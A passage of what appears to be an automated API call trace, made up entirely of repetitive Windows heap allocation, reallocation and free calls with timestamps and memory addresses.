RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34dc8 [0118.895] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34e70, Size=0x20) returned 0x2d4a308 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e70 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36148 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acb8 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d35fc8 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35de8 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35110 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35128 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35158 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36268 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac78 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36288 [0118.896] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6f) returned 0x2d51080 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab88 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35200 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab28 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36408 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35290 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35170 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362c8 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac48 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350c8 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab48 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36108 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35230 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35098 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362a8 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35218 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351e8 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4acd8 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361c8 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35248 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35068 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fc8 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35188 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4acb8 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36148 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e70 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34dc8 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363c8 | out: hHeap=0x2a0000) returned 1 [0118.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36288 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35158 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac78 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36268 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35128 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35110 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35de8 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a308 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36228 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e58 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360e8 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350b0 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36028 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f78 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36428 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34ff0 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ee8 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35038 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361e8 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a678 | out: hHeap=0x2a0000) returned 1 [0118.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36088 | out: hHeap=0x2a0000) returned 1 [0118.897] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35038 [0118.897] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d34ff0 [0118.897] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36088 [0118.897] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f78 [0118.897] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361e8 [0118.897] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350b0 [0118.897] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e58 [0118.897] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35110 [0118.897] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35ee8 [0118.897] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac78 [0118.897] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acb8 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36428 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35128 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35158 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34dc8 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36028 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acd8 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360e8 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e70 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35068 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36228 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac48 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35248 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35de8 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351e8 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35218 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35098 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36268 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab28 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d36288 [0118.898] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34f78, Size=0x20) returned 0x2d4a678 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363c8 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f78 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35230 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350c8 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36148 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab88 [0118.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2d35fc8 [0118.898] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f18 | out: hHeap=0x2a0000) returned 1 [0118.898] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f30 | out: hHeap=0x2a0000) returned 1 [0118.899] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36168 | out: hHeap=0x2a0000) returned 1 [0118.899] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36208 | out: hHeap=0x2a0000) returned 1 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36208 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36168 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f30 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34f18 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2d4a988 [0118.899] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34f30, Size=0x20) returned 0x2d4a308 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f30 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361c8 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35170 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35290 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35200 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362a8 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acf8 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac08 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36108 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35008 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35878 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fa8 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362c8 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac28 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aad8 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36408 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35728 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35740 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d352f0 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35f88 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab78 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35848 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36368 [0118.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d353c8 [0118.900] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34f30, Size=0x20) returned 0x2d4a650 [0118.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f30 [0118.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35638 [0118.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36448 [0118.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aaf8 [0118.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d363a8 [0118.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d362e8 [0118.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35338 [0118.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35668 [0118.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35608 [0118.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36388 [0118.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aae8 [0118.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2d36328 [0118.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6d) returned 0x2d28e10 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac08 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35200 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4acf8 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362a8 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35290 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35170 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361c8 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aad8 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fa8 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac28 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362c8 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35878 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35008 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36108 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35848 | out: hHeap=0x2a0000) returned 1 [0118.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d352f0 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab78 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f88 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35740 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35728 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36408 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363a8 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35638 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aaf8 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36448 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f30 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d353c8 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36368 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36328 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35608 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aae8 | out: hHeap=0x2a0000) returned 1 [0118.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36388 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35668 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35338 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362e8 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a650 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350b0 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361e8 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35128 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36428 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e70 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360e8 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351e8 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35de8 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f78 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363c8 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a678 | out: hHeap=0x2a0000) returned 1 [0118.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36088 | out: hHeap=0x2a0000) returned 1 [0118.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36088 [0118.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7) returned 0x2d4aae8 [0118.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4aaf8 [0118.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d363c8 [0118.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab78 [0118.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x41) returned 0x2d4aa28 [0118.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35de8 [0118.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f78 [0118.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d351e8 [0118.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e70 [0118.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d360e8 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac28 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x19) returned 0x2d4a678 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35128 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350b0 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36428 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aad8 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d361e8 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35338 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35668 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36008 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acf8 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x32) returned 0x2d56240 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35608 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d353c8 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362e8 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac08 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5) returned 0x2d4ab98 [0118.903] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34f78, Size=0x20) returned 0x2d4a650 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34f78 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f30 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36388 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac68 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d36328 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35638 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35728 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36368 [0118.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac58 [0118.904] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a650, Size=0x40) returned 0x2d36488 [0118.904] RtlReAllocateHeap 